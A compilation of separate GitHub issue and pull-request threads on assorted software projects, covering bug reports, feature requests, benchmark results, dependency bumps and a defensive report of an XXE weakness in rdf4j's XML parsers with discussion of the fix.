Thanks! Fixed in 0.1.36.

Thanks for the speedy fix!


chore(main): release 1.0.12

:robot: I have created a release beep boop
1.0.12 (2023-08-08)
Docs

add link to GitHub repository, improve user experience (09b5f21)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/cloverdefa/hath-docker/releases/tag/v1.0.12 :sunflower:


question about the role of "shift"

Hi,
I'm confused about the role of function "shift" in your code. It seems that you put the generative probability of the z decoder backward one time-step through this function, which is later used to multiply with the z decoder output for the implicit copy score calculation. My question is why should the probability be put one step backward? Since the z decoder output at time t is used to calculate the probability of zt instead of z_(t-1), the shift operation is hard to understand.
However, when I tried to remove "shift", the performance dropped obviously and became much more unstable. Could you explain the principle behind this operation? Thanks!

Thanks for your interest. The reason is that the the representation at the time step 0 is for the  (start_of_sequence) token: pz_ae = cuda_(Variable(torch.zeros(1, batch_size, self.embed_size)))
However, the input to the copy decoder later do not include the  token. So we shift the input by one step.


Feature request: Extracting transparency (alpha), Freeform shapes, and images in Picture fill

I've found that some elements that the current library provides functionalities to draw are not extractable from the .pptx file.
I would enjoy some symmetry in the functionalities, as I am trying to check if I can reconstruct pptx slides after extracting/abstracting their information.
It seems to be that you are aware of these missing features but filing a feature request anyways.

The first one is extracting transparency from shapes. Probably should be done in shape.fill perhaps? I believe that transparency applies to all fill types.

Another one is extracting the path (verticies) from freeform shapes. This seems more difficult than the previous one, but it would be nice to have access to at least some raw form of the path.

The last request is extracting byte images in the Picture fill type. This somewhat relates to the transparency issue as Picture fill in shapes is usually used to make transparent images.

I hope I didn't smash unrelated requests in a single issue. But I found that these share similarities in terms of missing symmetry on the extraction side.

It's probably not as "shrink wrapped " as you'd like but I expect the information is in the XML.

@MartinPacker You are 100% right. The XML should provide what I need. That is also the reason why I made this a feature request. It would be nice if the library supports more of get_attr-style functions, so that one wouldn't have to dabble between parsing XML themselves and using the library.


Suggestion: Game setting

A suggestion for game setting to decide the automatic buffer when pasting from machine to the chest :)

Good idea. Implemented in 5f94a323097e38659eb45eae6342e8e58f3b72ff


Request: Unconfirmed transactions are processed and applied to balances

Due to some excellent work from @dexX7 we now have unconfirmed transaction support in the next release (0.0.10) of Omni Core.
This means (assuming the transaction is in the mempool) we can query a transaction hash before it has confirmed and decode it, and thus provide data about the Omni transaction (excluding validity).
There is a request to support unconfirmed balances in OmniChest's API - in a nutshell if I can:

http://omnichest.info/requeststat.aspx?stat=balance&prop=1&address=1BitcoinAddress
can return something like
{
confirmed: 8.7
unconfirmed: -5
}
can you do that? :)

Now since OmniChest is moving more and more towards just being a scraper for Omni Core to ensure all data is from the reference client, there seems little point in adding that logic to 'Chest.  On the flip side it's not like we can just run an unconfirmed transaction through state processing to add the capability to Core either.
So, couple of Q's really - value & priority of having address lookups show incoming pending balances, and if I'm missing a straight forward approach (because otherwise I'm thinking whilst decoding a unconfirmed transaction is one thing, actually manipulating the state with transactions that aren't on the chain yet seems frought with potential pitfalls and probably needs some very careful consideration)
Thanks
Z

You probably nailed it with:

I'm thinking whilst decoding a unconfirmed transaction is one thing, actually manipulating the state with transactions that aren't on the chain yet seems frought with potential pitfalls and probably needs some very careful consideration

I believe at some point having full support for unconfirmed balances is a by-product, but at the very moment I don't really see how.
My post-0.0.10 plans were to investigate, whether we can move the plain transaction parsing one level deeper, i.e. integrate it into "the flow of unconfirmed transactions" of Core, in particular, because we'd then no longer need to fetch inputs from the DB (via GetTransaction), but rather have them directly available via "hot UTXO" access (via the coins view).
So the flow would then be:

transaction arrives
transaction passes the mempool
Core fires a transaction signal
We grap it and parse the transaction
The parsed transaction is stored in our DB

We can do this after 0.0.10, because then the transaction parsing is fully stateless, and it basically doesn't matter anymore, when we parse transactions. There are still a few issues: how do we handle the order of transactions in a block? etc.
If transactions are processed as soon as possible, and properly persisted, then we no longer need an enabled transaction index.
However, this is only one aspect, and a more tricky one is state and the execution of effects, which are (obviously) not stateless.
I'd love to hear your ideas about this, because I don't really see how we could tackle this. :)
One idea I've been playing with in my mind for some time: if we consider state as product of the execution of effects, and we have a way to describe all effects, then we may end up with something like (very schematically):
/**
 * Applies the effects on top of the given state snapshot.
 *
 * @param vEffects[in]  a collection of state modifications to apply
 * @param state[in,out] a representation of the state (i.e. balances, ...)
 */
void  GetStateFor(const std::vector<OmniEffect>& vEffects, OmniStateSnapshot& state)
{
    BOOST_FOREACH(const OmniEffect& effect, vEffects) {
        state.ApplyEffect(effect); // triggers/executes
    }
}

I'm not sure, if it's clear, where I'm going here, but instead of having a "global" state, we may have "state snapshots", which may be modified as we'd like. Say for example, we would like to reconstruct the state up until block 380000, then we'd create a blank state snapshot (because we start fresh), and "apply" all effects that there are until this block. Once a new block is processed, then we apply the effects from block 380001 "on top" of the state snapshot we constructed previously.
To handle unconfirmed transactions, we'd then have two snapshots of state: one for the confirmed state, and one, which is based on the confirmed state snapshot, namely the one for unconfirmed transactions. If somehow something changes, and the unconfirmed snapshot is no longer valid, then we could just clear it, create another copy of the confirmed state snapshot, and apply the unconfirmed effects once more.

Ok, i see that request is not very simple to implement. But can we at least have omnichest api command to see all unconfirmed transactions for specific address? Otherwise there is no way for product that relies on omnichest api to calculate balance other than go through every network transaction.

@nixoid: I think this is feasible.
How about something like:

omni_listpendingtransactions
Returns a list of unconfirmed Omni transactions, pending in the memory pool.
An optional filter can be provided to only include transactions which involve the given address.
Note: the validity of pending transactions is uncertain, and the state of the memory pool may change at any moment. It is recommended to check transactions after confirmation, and pending transactions should be considered as invalid.
See also:

"omni_gettransaction" (supports unconfirmed transactions)
"omni_listblocktransactions"

Arguments:

address              (string, optional): filter results by address (default: "*", include any)

Result:
[                       (array of string)
  "txid",                 (string) the hash of the pending transaction
  ...
]

Examples:
$ omnicore-cli "omni_listpendingtransactions"
$ omnicore-cli "omni_listpendingtransactions" "33E8LBtZWCpeS28AUkzdNDvPfwAiCpmYK6"

It's also thinkable to return the already parsed transactions, instead of their hashes, to skip using "omni_gettransaction" on the results, but this might as well be handled on the web API level (i.e. OmniChest).
Would this help?

yep, should be good enough for us.


Flatten does not decompose

the change to get_or_make_var is a bit hacky, maybe there is a nicer way to achieve the same result

Actually I do like it after considering it again, since ~bv == flatexpr is just as flat as bv == flatexpr, and this way we need not change any other code

if this is a cleanup, why did you close it unmerged? or it is superseded by another PR?

I extracted the only useful code into the get_or_make_var pr
This addressed the fact that we now decompose in flatten, but that will be resolved with the push down negation and recursive decomposition transformations


website: Improve docs link discoverability

... by flipping the link text decoration behavior within articles. :upside_down_face:

Thanks @s-h-a-d-o-w 🥇


Lightcurve not found for ε Coronae Australis when using eps cra but found with HR designation HR 7152

Problem description

lightkurve fails to return a lightcurve for the star ε Coronae Australis when I use its abbreviated name (i.e. eps cra) but succeeds when using another designation (HR 7152). lightkurve also succeeds when I use a similar name for a star in another constellation (e.g. eps crt for ε Crateris).
As a rudimentary demonstration, the following script
import lightkurve as lk

lcs = lk.search_lightcurvefile('eps crt', mission='TESS', cadence='short').download_all()
print(len(lcs)) # 1
lcs = lk.search_lightcurvefile('hr 7152', mission='TESS', cadence='short').download_all()
print(len(lcs)) # 1
lcs = lk.search_lightcurvefile('eps cra', mission='TESS', cadence='short').download_all()
print(len(lcs))

produces the output
1
1
/home/wball/.local/lib/python3.7/site-packages/lightkurve/search.py:229: LightkurveWarning: Cannot download from an empty search result.
  LightkurveWarning)
Traceback (most recent call last):
  File "issue.py", line 10, in <module>
    print(len(lcs))
TypeError: object of type 'NoneType' has no len()

This is with lightkurve version 1.3.0 and Python 3.7.4 installed via pip3 on Fedora 30.
$ python3 -V
Python 3.7.4
$ pip3 show lightkurve
Name: lightkurve
Version: 1.3.0
Summary: A friendly package for Kepler & TESS time series analysis in Python.
Home-page: https://docs.lightkurve.org
Author: KeplerGO
Author-email<EMAIL_ADDRESS>License: MIT
Location: /home/wball/.local/lib/python3.7/site-packages
Requires: astropy, scipy, oktopus, uncertainties, requests, numpy, astroquery, pandas, tqdm, bs4, matplotlib
$ cat /etc/fedora-release
Fedora release 30 (Thirty)
$ uname -r
5.2.17-200.fc30.x86_64

@warrickball thanks for taking the time to report this!
Short answer: MAST's name resolver does not resolve eps cra and hr 7152 to the same coordinates. You can work around your problem by adding radius=10 to your search:

Longer answer: MAST surprisingly resolves eps cra and hr 7152 to different coordinates separated by 8 arcseconds:

In contrast, the CDS name resolver (accessed via astropy) returns identical coordinates:

I'm not sure what the reason is behind this mismatch, or how frequently this occurs, but I'll tag some of the wonderful people at MAST in case they're interested in looking into the issue: @mustaric @scfleming @ceb8

The name resolver at MAST first tries NED and Simbad (I think in that order), and in this case I think since NED resolves both of these (to different coordinates for whatever reason), that is the difference.  I might put in a ticket to allow an optional argument to our name resolver to try only one of those services for cases like this.

@scfleming Rather than making it an extra option, would it be sensible for MAST to query Simbad first and then NED?  I'm saying this because I'm guessing that Simbad does a better job at published objects, and NED complements it by adding lots of lower-importance, unpublished objects, so it makes sense to query in that order?  (But I may be very wrong.)

  Unfortunately I don't think any default order will be optimal for all queries.

My bias shows! =)
Of course the easiest solution for everyone is if NED returned accurate coordinates for bright stars.  I haven't seen this problem before so it may be a freak issue, but it may nonetheless be worth reporting to NED? @scfleming are you planning on doing so, or shall I?

I wasn't planning on doing that per se, so feel free to get in touch with the NED folks.

For what it's worth: when I query these objects by name on the NED website, I find that eps cra resolves to coordinates taken from the ROSAT all-sky survey bright source catalogue (whereas hr 7152 resolves to 2MASS).
So, an X-ray catalog is being used to determine the position of a naked-eye star  🤔  This may really just be a freak case, but we'll want to keep an eye on it.

Update: NED told me they will link together eps cra and hr 7152as one object in their database.  🎉


Precision of reduce_sum operation

There seems to be a numerical precision problem with the reduce_sum operation, see the example provided below. Even though everything is set to float32 as datatype tensorflow produces a much more imprecise result than numpy (whose result is numerically exact).
Is this intended? It seems strange that tensorflow makes such serious numerical errors. Am I doing something wrong?
What related GitHub issues or StackOverflow threads have you found by searching the web for your problem?
nothing there to my knowledge
Environment info
Operating System: Mac OSX 10.12.1
Tensorflow 0.11.0 CPU
https://storage.googleapis.com/tensorflow/mac/cpu/tensorflow-0.11.0-py2-none-any.whl
could be reproduced in docker-container tensorflow/tensorflow:0.12.0-rc0 in a virtualbox linux vm
If possible, provide a minimal reproducible example (We usually don't have time to read hundreds of lines of your code)
import tensorflow as tf
import numpy as np

data = tf.constant(1.23456, shape=[250,250], dtype=tf.float32)
sum = tf.reduce_sum(data)
sess = tf.Session()
sess.run(sum) #77151.477

data2 = np.full([250, 250], np.float32(1.23456), dtype=np.float32)
np.sum(data2) #77160

https://gist.github.com/flash1293/84c2719dd646c0314ec0f4ea05df117a
What other attempted solutions have you tried?

Logs or other output that would be helpful

I believe numpy implements a better (as in more numerically accurate) algorithm for sum as per this: https://github.com/numpy/numpy/pull/3685
The gpu version of tensorflow sum should be just as numerically stable.  The CPU version unfortunately is implemented in the naive way with a single accumulator.  I'll let Benoit comment on the likelihood of this improving.  A quick hack might be to use a 64-bit accumulator even if the input is 32-bit.

Thanks for the insight - https://github.com/tensorflow/tensorflow/issues/2625 is related to this.

Same as #5527 ?

@ppwwyyxx yes, this is the same problem.

Closing this issue as it is a dupe  of #5527


Patch for helpers 2.1 (#105)

#105

PR Status

[ ] Code finished and ready to be reviewed/tested
[ ] The fix/enhancement were manually tested (if applicable)

Automatic tests
Automatic tests can be triggered on https://ci-apps-dev.yunohost.org/ after creating the PR, by commenting "!testme", "!gogogadgetoci" or "By the power of systemd, I invoke The Great App CI to test this Pull Request!". (N.B. : for this to work you need to be a member of the Yunohost-Apps organization)

!bump

!testme

!testme


feat(mdz deploy): Make watch by default by polling for instance status after InferenceCreate

Resolves #55 .
This PR introduces a new --detach flag to the mdz deploy command and implements a readiness check for deployments. If the --detach flag is not provided (default behavior), the deploy command will block and poll the deployment status until it's ready or a timeout is reached.
The readiness check involves polling the status of the deployment instances until they reach the 'Running' state, with a default polling interval of 3 seconds, and a timeout of 300 seconds. Both these values are now parameterized and can be adjusted as per the requirements.

See #137 .


Issue/31 3D Scene consuming 100% CPU resources

Improvements related to the mentioned fix

Please my feedback/notes on https://github.com/tgbugs/open-physiology-viewer/pull/1.

@enicolasgomez Can you close this PR and reopen it against development? Might be easier too to create a new branch based from development, and add manually the changes. Otherwise the history commits will mess up what's on development currently when we merge.

Closing. Re opening it against develop.


:seedling: Bump sigs.k8s.io/kubebuilder/v3 from 3.14.0 to 3.15.1

https://github.com/operator-framework/helm-operator-plugins/pull/342

@acornett21 would this work?

Hey @perdasilva, thanks for taking a look at this. I think I'd rather see this dependency be dropped, and the hybrid concept go away. @joelanford and I had a discussion about this a few weeks ago, when we were dealing with dependency issues across projects.
I've added dropping hydrid support to the community meeting tomorrow. If others agree to that, I can finish the work I started to drop/remove this from the project.

@perdasilva just curious, is there a reason to update to 3.14.0 -> 3.15.0 -> 4.0.0 instead of 3.14.0 -> 4.0.0 directly?

This is no longer needed...closing.


Optimize AVX512 DGEMM (& DTRMM)

Replace KERNEL_8x24 with KERNEL_16x12, which makes more room for raising GEMM_Q to slow down reading/writing on matrix C (in main memory), thus improves parallel performance.

DGEMM test on a 8c/16t KVM (huawei cloud), on Intel Xeon Gold 6266C at 2.3 GHz:
1-thread test with m=n=k=5999, theoretical 73.6 GFLOPS:
old kernel:

new kernel:

8-thread test with m=n=k=9999, theoretical 589 GFLOPS:
old kernel:

new kernel:

The new DTRMM kernel passed 1-thread reliability test.

test code:
dtrmm_compare_test.zip

The new DGEMM kernel passed 1-thread reliability test.

Reduce DGEMM_R to avoid segfault when executing serial dgemm with m=3000 & n=k=12000.

DGEMM test on a KVM(aliyun, bounded to 8 physical cores on 1 die) on Intel Xeon Platinum 8269CY at 2.5 GHz:
library..................................1-thread perf. (dim ~ 7000)...........8-thread perf. (dim~20000)
MKL2019.........................................69.8 GFLOPS..........................591 GFLOPS
OpenBLAS_dev_before_this_PR....69.6 GFLOPS..........................537 GFLOPS
OpenBLAS_dev_after_this_PR.......72.6  GFLOPS.........................579 GFLOPS
Theoretical.......................................80.0 GFLOPS..........................640 GFLOPS
@martin-frbg Have you tested the performance change on a SKX platform? (I cannot access my i7-9800X computer now because of the outbreak of 2019 Novel Coronavirus in my country.)

Will try to get to that in a minute (but all I have is an older W2123, only four cores /eight threads).

preliminary results on Xeon W2125, 4c/8t (before the very latest commits) - OpenBLAS numbers for 6/8 threads look wrong. dgemmtest_new obtained from your GEMM_AVX2_FMA3 repository

1 thread

library
2000x2000
7000 x 7000
20000 x 20000

MKL
86.1
97.0
98.5

OB before
91.9
97.1

OB after
94.0
103.8
105.3

4 threads

library
2000x2000
7000 x 7000
20000 x 20000

MKL

380.9
394.3

OB before

304.2
328.5

OB after

370.3
397.5

6 threads

library
2000x2000
7000 x 7000
20000 x 20000

MKL

394.0

OB before

220.0

OB after

224.5

8 threads

library
2000x2000
7000 x 7000
20000 x 20000

MKL

394.3

OB before

281.6

OB after

250.6

@martin-frbg Thank you very much.

20000 may be too small to justify more than 4 threads - watching a rerun of the OMP_NUM_THREADS=6 case, I see it start out with 4 threads (MKL ?) and switch to 6 later (where top shows 4x100 percent utilisation, but only around 45 percent on the other two)

Probably MKL has a mechanism to detect the number of physical cores and limit the number of threads accordingly. I noticed something strange when running dgemm tests on the "8c/16t" Huawei cloud mentioned above. OpenBLAS(after this PR) got ~1000 GFLOPS with OMP_NUM_THREADS=16 while MKL got only 500-600 on that VM. Latency tests between logical cores showed that there should be 16 physical cores, but lscpu showed 16 threads on 8 cores....

Quite likely - and/or it puts an upper limit on the number of threads based on problem size.There is code by Agner Fog to do the physical/logical core counting on Intel and AMD in https://github.com/vectorclass/add-on/tree/master/physical_processors

Performance degradation with >1 threads per core is reasonable with the new kernel.  The size of packed matrix A is 576 kB, which can be cached in L2 when each core runs 1 thread.  With 2 threads on a core, however, the size of L2 is not enough to hold both packed matrices from 2 threads.

Oh, right. This should be acceptable given the serious improvement overall, though it might make sense to put a note about this cache flushing effect in the readme and/or wiki.


use aptitude install instead of aptitude hold

hold seems to have some crazy bug pulling in i386 packages somewhat randomly

aminator-pull-requests #202 SUCCESS
This pull request looks good


Missing "cancel" button when editing Wiki pages

Description
When editing or creating wiki pages, there is no "Cancel" button helping the user navigate back to the original wiki page, or to the list of wiki pages available, respectively. (See https://try.gitea.io/khorben/test-for-wiki/wiki?action=_new)
Alternatively, Gitea could navigate back into the user's history. On the positive side, nowadays most browsers recognise when information was input but not saved yet, and warn the user before possibly losing this information. However, this would require JavaScript (unless a fallback behaviour is implemented) and break PLA (Principle of Least Astonishment) since it would remove the page edition page from the history, without the user actually interacting with the history buttons ("Back" and "Forward").
Note that this improvement to the User Interface/User eXperience may also apply to new issues. (See https://try.gitea.io/khorben/test-for-wiki/issues/new)
Screenshots

Gitea Version
1.16.9
Can you reproduce the bug on the Gitea demo site?
Yes
Operating System
NetBSD 9.3_STABLE (GENERIC) pkgsrc-2022Q4 (from source, system service)
Browser Version
Safari 16.3

I don't see a reason for a "Cancel" button when you could just navigate away
References:

https://github.com/go-gitea/gitea/pull/21381
https://github.com/go-gitea/gitea/pull/21872

Can you illustrate with a video/gif?

I agree with the author.
Think about the case:

Go to wiki list page
Edit a page
Change some thing
Now you want to navigate back to the preview page, if you click the "back" button on browser toolbar, you will see an annoying "leave confirm" dialog.

And the "cancel" button sometimes is more friendly and intuitive for such page.

Thanks for the heads-up to this issue @wxiaoguang .. I reported the same request in: https://codeberg.org/forgejo/forgejo/issues/705


⚠ Bofrost.de has degraded performance

In 7106d20, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1128 ms

Resolved: Bofrost.de performance has improved in 0081c73.


upgrade dependencies. minor version.

upgrade dependencies targeting at minor/patch version.
This upgrade is preparation for https://github.com/atn832/cloud_firestore_mocks/issues/125
@atn832  please review 🚀

Thank you!


show board service label instead of pod info. - [closed]

In GitLab by @tmon546596046 on Apr 26, 2018, 08:07
Merges showservice -> dev

In GitLab by @wknet123 on Nov 13, 2019, 10:51
closed


Non-directional lightmap baking results in black scene

Directional lightmaps work in Editor projects, but non-directional seem to end up black.
Repro:
create new project. Set up light to bake lightmaps. Set up plane and cube meshes to receive lightmaps and static.
Start the project. WIth light set to directional lightmap, all works. WIth light set to non-directional lightmap, the scene is black.

I don't seem to be able to reproduce this in engine example lights-baked.html when setting bakeDir: true on the light, not sure how Editor project is different.


XXE in XML Parser

The Issue
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Where the Issue Occurred
The following code snippets display the usage of XMLReader without disabling entities:
https://github.com/eclipse/rdf4j/blob/e0718b2f53aea1385848c36bd8819b775ec5edb0/rio/trix/src/main/java/org/eclipse/rdf4j/rio/trix/TriXParser.java#L188
https://github.com/eclipse/rdf4j/blob/e0718b2f53aea1385848c36bd8819b775ec5edb0/rio/rdfxml/src/main/java/org/eclipse/rdf4j/rio/rdfxml/RDFXMLParser.java#L328

relevant link https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#JAXP_DocumentBuilderFactory.2C_SAXParserFactory_and_DOM4J

org.eclipse.rdf4j.rio.rdfxml.RDFXMLParser.java sets the XMLParserSettings.SECURE_PROCESSING (line 270), not sure if that covers all the settings mentioned in the OWASP cheat sheet
The TrixParser does not seem to do this

IMHO the TrixParser and RDFXMLParser should be reworked to extend a common AbstractRDFParserXML, there seems to be some code duplication (and I assume it would be better to fix this issue in this common parent)

Is there any chance this vulnerability will be patched sometime soon?

a quick and dirty patch shouldn't be too hard, (testing can be a bit cumbersome though), but a more elegant solution as mentioned above is going to take a bit longer :-/

I think a patch should work well enough for us! Is it possible to provide an estimate on when you think a patch could be released?

Here are changes that copy-paste the code from @jeenbroekstra link, plus unit tests.
https://github.com/eclipse/rdf4j/compare/master...kshakir:xxe_xmlparser
I'll try to figure out the CLA stuff, but if anyone else wants to submit the changes please go ahead.

A third place we also need to look at is the SparqlXmlResultsReader. I will try and make these settings configurable (with secure defaults) so that parsing files that legit use doctypes and (heaven forbid) external entities or external dtds is still possible.

@ruchim @ProDigySML we've received a request to loosen some of these restrictions due to the fact that many valid RDF data sets use doctype declarations and DTDs, and these restrictions suddenly make it impossible to import these files. See #1202 - if you have any views on this could you comment on that issue?


Download URl updated, added Version variable

Deprecated in favour of brewcask and Boxen's in built support for
homebrew/brewcask.


[WIP] Gate converter

Found 5 violations:
Reporter: cppcheck-matrix-raporter
Rule: functionConst
Severity: INFO
File: gate_converter/Reader.cpp L91
Technically the member function 'Reader::get_scintillator_id' can be const.. The member function 'Reader::get_scintillator_id' can be made a const function. Making this function 'const' should not cause compiler errors. Even though the function can be made const function technically it may not make sense conceptually. Think about your design and the task of the function first - is it a function that must not change object internal state?

Reporter: cppcheck-matrix-raporter
Rule: functionConst
Severity: INFO
File: gate_converter/Reader.h L29
Technically the member function 'Reader::get_scintillator_id' can be const.. The member function 'Reader::get_scintillator_id' can be made a const function. Making this function 'const' should not cause compiler errors. Even though the function can be made const function technically it may not make sense conceptually. Think about your design and the task of the function first - is it a function that must not change object internal state?

Reporter: cppcheck-matrix-raporter
Rule: uninitMemberVar
Severity: WARN
File: gate_converter/Reader.h L22
Member variable 'Reader::volID' is not initialized in the constructor.

Reporter: cppcheck-matrix-raporter
Rule: uninitMemberVar
Severity: WARN
File: gate_converter/Reader.h L22
Member variable 'Reader::volID' is not initialized in the constructor.

Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 5 violations:
Reporter: cppcheck-matrix-raporter
Rule: functionConst
Severity: INFO
File: gate_converter/Reader.cpp L91
Technically the member function 'Reader::get_scintillator_id' can be const.. The member function 'Reader::get_scintillator_id' can be made a const function. Making this function 'const' should not cause compiler errors. Even though the function can be made const function technically it may not make sense conceptually. Think about your design and the task of the function first - is it a function that must not change object internal state?

Reporter: cppcheck-matrix-raporter
Rule: functionConst
Severity: INFO
File: gate_converter/Reader.h L29
Technically the member function 'Reader::get_scintillator_id' can be const.. The member function 'Reader::get_scintillator_id' can be made a const function. Making this function 'const' should not cause compiler errors. Even though the function can be made const function technically it may not make sense conceptually. Think about your design and the task of the function first - is it a function that must not change object internal state?

Reporter: cppcheck-matrix-raporter
Rule: uninitMemberVar
Severity: WARN
File: gate_converter/Reader.h L22
Member variable 'Reader::volID' is not initialized in the constructor.

Reporter: cppcheck-matrix-raporter
Rule: uninitMemberVar
Severity: WARN
File: gate_converter/Reader.h L22
Member variable 'Reader::volID' is not initialized in the constructor.

Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.

Found 1 violations:
Reporter: cppcheck-matrix-raporter
Rule: unreadVariable
Severity: INFO
File: src/GateParser/JPetGateParser/JPetGateParser.cpp L219
Variable 's' is assigned a value that is never used.


Lawyers don't spawn with their stamp

Description

they used to spawn with their stamp, now after loadouts they don't.
This is the ONLY way to get the stamp so this is quite bad.


MINOR: Update log statements in alterBrokerConfigs/alterTopicConfigs methods

Current below log statements are not useful. This PR logs readable/masked configs during alterBrokerConfigs/alterTopicConfigs method call.
[Admin Manager on Broker 1]: Updating topic test with new configuration kafka.server.KafkaConfig@c9ba35e3
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@chia7712  Thanks for the review . addressed the  review comment.

@chia7712  Thanks for the review . addressed the  review comment.


EventLogger.ExceptionToString error when exception.Message == null

title is wrong (can I change that?) there is an exception but Message is not the issue. Not sure why ExceptionToString is throwing, but you wouldn't think it would, would you?
[update] ExceptionToString is throwing because trace.GetFrame(2) is returning null. Because the stack isn't that deep. :)
Proposal 2 still valid: in RESTServer.ProcessRequest, wrap the finally{} block's error handler in a try/finally block to ensure that ctx.Response.Close() and ctx.Close() are always called out of paranoia. (In fact may want to add a second block around the whole function.) Also might want a top level exception handler that tries to use Close(byte[]) to send a generic "something is dreadfully wrong" response.

Have you already merged something in for this one?


When "reactive" uses "class" and "computed", the "computed" attribute will not Reactive

Version
3.0.0-beta.3
Reproduction link
https://codesandbox.io/s/optimistic-worker-kmhtj?file=/src/main.ts
Steps to reproduce
import { reactive, computed} from 'vue';
const state = reactive(new class {
    count: number = 1;
    getCount = computed(() => this.count);
});
console.log(state.count, state.getCount); // 1 1
state.count = 2;
console.log(state.count, state.getCount); // 2 1

What is expected?
import { reactive, computed} from 'vue';
const state = reactive(new class {
count: number = 1;
getCount = computed(() => this.count);
});
console.log(state.count, state.getCount); // 1 1
state.count = 2;
console.log(state.count, state.getCount); // 2 2
What is actually happening?
import { reactive, computed} from 'vue';
const state = reactive(new class {
count: number = 1;
getCount = computed(() => this.count);
});
console.log(state.count, state.getCount); // 1 1
state.count = 2;
console.log(state.count, state.getCount); // 2 1

This is because when you use this inside class field initializers, it will point to the raw, unobserved version of the class instance. This is a caveat which unfortunately we have no way to detect, because the initialization happens before the class instance is even passed to reactive.
I assume you are doing this to get around the type inference limitation in https://github.com/vuejs/vue-next/issues/963
const state = reactive({
    count: 1,
    getCount: computed(() => state.count)
})

If you are using TypeScript, I'd recommend using multiple refs over a single reactive in this case. Or, you'll have to manually annotate the type for state:
interface State {
  count: number,
  getCount: number
}

const state: State = reactive({
    count: 1,
    getCount: computed(() => state.count)
})

@yyx990803 About this: I have not opened a suggestion yet because I can't make this work fully, but there's stuff that already works today and stuff that could be made to work if we wanted to, that makes simple components nicer.
Consider the classical "counter" example:
setup() {
  const state = reactive({
    count: 0,
    click() { state.count++ }
  });
  return state;
}

If you bind the button with @click="click()", then the generated code is _ctx.click() so the following works:
setup() {
  return { count: 0, click() { this.count++ } };
}

Much simpler.
In simple case with just state and events handlers:

you don't need reactive because Vue does it for you and functions are called through this reactive proxy.
you don't need to store a temporary variable as you can use this.

It does not work if you bind with @click="click" but it could work if we wanted to.
Of course for more advanced components, if you want to access reactive state directly in setup -- e.g. using watch or onMounted -- you need to use ref or reactive and that's fine.
What stopped me from mentionning this "simple components using this" so far is that I can't find a satisfying API that allows you to use computed, which I feel are important enough that they need to work.
Getters (~ non-cached computeds) work as well, such as
{
  count: 5, total: 10,
  get percentage() { return this.count / this.total }
}

Computeds are more complicated because they are a distinct object and they need access to the reactive "this" that doesn't exist in setup.
@wcldyx @yyx990803

If you are using TypeScript, I'd recommend using multiple refs over a single reactive in this case. Or, you'll have to manually annotate the type for state:

This case is simple so it's fine.  In real life complex components with 10+ members, complex (sometimes anonymous) types, declaring full interfaces is really annoying.
There are several other ways to work around this. What I do is that I strategically add some casts in the right places and TS can figure it out.
You need to experiment but for example the following compiles (no any):
const state = reactive({
    count: 1,
    getCount: computed(() => {
        let x: number = state.count;
        return x;
    }),
});


set threshold for matching to kick in

i.e. matchThreshold: 3

Make it a configurable property. Maybe combine with different Levenshtein distance for different length words.
An example would be no matching for words with less than 5 letters, 1 as distance for 5-7 letter words, 2 as distance for 7-10 letter words and 3 as distance for all words with 11 or more letters.

so:
const options = {
  threshold: 3 // matching kicks in at 3 letter words
  fuzzy: 33 // Percentage of Levenshtein distance allowed. Rounded to closest integer.
}


feat(semantic): support scope descendents starting from a certain scope.

@Boshen
The ScopeTree.descendants function would return all scopes starting from the root, and wasn't truly descendants from a specific scope. To improve this, I've renamed this function to descendants_from_root and have introduced a new descendants function that does support from a specific scope.
Furthermore, I've introduced helper functions to SymbolTree to make reading symbols/scopes easier.
To verify this functionality, I enabled the function_name transformer (and fixed it), and ran some example transforms. Here's the input:
let fn;

fn = function (a, b, c) {
  const d = "";
};

const func = function (arg) {
  {
    const value = "";
  }
};

const f = function (f) {};

And the output using the old implementation. Note that all function names are suffixed with a number, this is incorrect, since it was inheriting far too many scopes.
let fn;
fn = function fn1(a, b, c) {
	const d = '';
};
const func = function func1(arg) {
	{
		const value = '';
	}
};
const f = function f2(f) {
};

And here's the output with the new implementation. Note that only f is suffixed with a number. That's because it has a shadowed argument of the same name.
let fn;
fn = function fn(a, b, c) {
	const d = '';
};
const func = function func(arg) {
	{
		const value = '';
	}
};
const f = function f1(f) {
};

@Boshen @IWANABETHATGUY Updated with a new child_ids field.
Here's an example of the tree output:
[crates/oxc_transformer/src/es2015/function_name.rs:130] &scopes = ScopeTree {
    parent_ids: [
        None,
        Some(
            0,
        ),
        Some(
            0,
        ),
        Some(
            2,
        ),
        Some(
            0,
        ),
    ],
    childs_ids: {
        0: [
            1,
            2,
            4,
        ],
        2: [
            3,
        ],
    },
    flags: [
        ScopeFlags(
            StrictMode | Top,
        ),
        ScopeFlags(
            StrictMode | Function,
        ),
